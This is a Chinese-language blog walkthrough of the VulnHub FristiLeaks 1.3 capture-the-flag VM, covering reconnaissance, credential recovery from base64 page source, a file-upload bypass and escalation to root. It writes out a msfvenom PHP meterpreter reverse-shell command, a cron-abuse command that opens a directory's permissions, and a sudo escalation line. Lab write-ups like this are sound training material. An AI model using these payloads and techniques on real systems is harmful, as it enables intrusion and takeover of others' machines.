freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

VulnHub-FristiLeaks: 1.3-靶机渗透学习
2020-12-20 14:17:54



靶机地址:https://www.vulnhub.com/entry/fristileaks-13,133/

靶机难度:中级(CTF)

靶机发布日期:2015年12月14日

靶机描述:用于荷兰非正式黑客聚会的小型VM,称为Fristileaks。 打算在几个小时内打破,而无需调试器,逆向工程等。

目标:得到root权限

作者:DXR嗯嗯呐


信息收集

根据同时将靶机MAC设置为08:00:27:A5:A6:76

1608444105_5fdee8c919d836f484d98.png!small?1608444104415

1608444056_5fdee898211be83079029.png!small?1608444055113

开启靶机,显示了IP地址

1608444098_5fdee8c25e84eae04bd42.png!small?1608444097336

nmap扫描

1608444123_5fdee8db5a800947cdc8b.png!small

nmap端口扫描

1608444141_5fdee8edd9ac31b862cde.png!small?1608444140979

80 http


访问80端口,没有获得有用的信息

1608444150_5fdee8f6b29cf14d6bdeb.png!small?1608444149763

dirb扫描一下

1608444156_5fdee8fceec916e87870e.png!small?1608444155904

在robots.txt发现了几个目录。

1608444163_5fdee903ab37359345601.png!small?1608444162560

加入dirb配置文件再次扫描

1608444169_5fdee909b10aa00b898c7.png!small?1608444168673

也没有获得有用的信息

看了人家的提示,访问fristi目录

1608444175_5fdee90f8f62461f36cd1.png!small?1608444174518

1608444186_5fdee91ab023dc0caeeb8.png!small?1608444185704

admin登陆失败,看一下网页源代码

1608444217_5fdee939be8779ba713b5.png!small?1608444216960

发现了一段base64编码,解码发现乱码

1608444224_5fdee94023da53ac0075c.png!small?1608444223094

提示PNG,输出到png打开

1608444230_5fdee946c67b21702410d.png!small?1608444229681

display打开

首先安装imagemagick

apt-get install imagemagick

1608444236_5fdee94ca441bfdf325dc.png!small?1608444235877

display打开

display test.png

1608444309_5fdee9957c3b3883a9be0.png!small?1608444308562

再根据上面的提示应该是个用户名

1608444316_5fdee99ccc598497c7472.png!small?1608444315815

这样我们获得用户名密码

eezeepz/kekkekkekkekkEkkEk

getshell

登陆发现一个上传节点

1608444324_5fdee9a4e9afd8e48a502.png!small?1608444323839

根据nmap扫描出来的端口看来应该做了访问限制,正向连接shell,看来是不行了,只能用反弹shell了,msfvenom命令做反弹shell

因为只能上传png,jpg,gif

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.16.129 LPORT=443 -f raw > shell.php

1608444330_5fdee9aa1ad2cca6abe32.png!small?1608444328971

上传文件(只能上传三种图片类型)

1608444358_5fdee9c6c19f574301236.png!small?1608444357683

1608444370_5fdee9d2a4ff4a269d2bb.png!small?1608444369527

找到文件上传的绝对路径

1608444378_5fdee9da436c225ffdceb.png!small?1608444377231

配置msf

1608444384_5fdee9e0e420fff94a265.png!small?1608444383870

获得shell

1608444390_5fdee9e676818f7b04612.png!small?1608444389448

1608444397_5fdee9edaf23db16e0862.png!small?1608444396583

提权

登陆获得apache权限,去home下看看

1608444402_5fdee9f2e832234cae064.png!small?1608444402136

发现eezeepz用户可以访问,查看notes.txt

1608444407_5fdee9f7a2f5305665fe1.png!small?1608444406590

应该是在tmp目录下创建runthis文件,以 /home/admin/开头或者/usr/bin/开头的命令就可以以admin的身份去执行加的命令,执行结果自动输出到cronresult文件

构造语句

/usr/bin/chmod 777 /home/admin

/home/admin/chmod 777 /home/admin         #提示说,admin目录下有chmod命令

执行命令

echo '/home/admin/chmod 777 /home/admin' > /tmp/runthis

1608444441_5fdeea198e279015a8d6e.png!small?1608444440583

获得admin目录访问权限

1608444447_5fdeea1fa513b89264c82.png!small?1608444447583

在目录下,发现两个base64密文和一个加密脚本

1608444452_5fdeea24e033d08f1814b.png!small?1608444452106

根据加密脚本,编写解密脚本

import base64,codecs,sys


def encodeString(str):

destring = codecs.decode(str[::-1], 'rot13')

return base64.b64decode(destring)


cryptoResult=encodeString(sys.argv[1])

print cryptoResult

1608444486_5fdeea467a22c2606f45b.png!small?1608444485607

解密获得提示

1608444491_5fdeea4bcba23d88978fb.png!small?1608444490701

解密

mVGZ3O3omkJLmy2pcuTq : thisisalsopw123

=RFn0AKnlMHMPIzpyuTI0ITG : LetThereBeFristi!

根据分析可能是fristigod用户的密码,尝试登陆一下

1608444509_5fdeea5d80f622d3ea244.png!small?1608444508467

登陆成功,看一下是否可以执行sudo命令,看意思是说fristi用户在/var/fristigod/.secret_admin_stuff/doCom下可以执行任何root权限命令

1608444517_5fdeea653dceabb12c64c.png!small?1608444516221

在看一下.bash_history文件,看一看之前有人执行过这样的命令不

1608444546_5fdeea829846937eaab83.png!small?1608444545528

1608444577_5fdeeaa123824b5a242b1.png!small?1608444576074

也得到了同样的证明,直接切换root用户,获得flag

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom su -

1608444582_5fdeeaa67931317093d6a.png!small?1608444581460

完成!!!

总结

本来想内核漏洞提权,但是没找到可以利用的payload

不过好在没有找到,通过靶机设置的流程,我学到了更多。

1、通过web界面提示获得一个登陆界面

2、对base64界面获得登陆账号密码,登陆后绕过上传限制,上传木马

3、反弹shell,根据eezeepz用户下提示,通过给admin目录加权限,获得两个base64密文和一个加密脚本。

4、重新编译脚本,解密base64,获得fristigod密码

5、登陆fristigod,发现可以具备sudo权限,根据.bash_history提示和对sudo分析,成功提权,获得root权限。

# linux # python # 上传漏洞
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录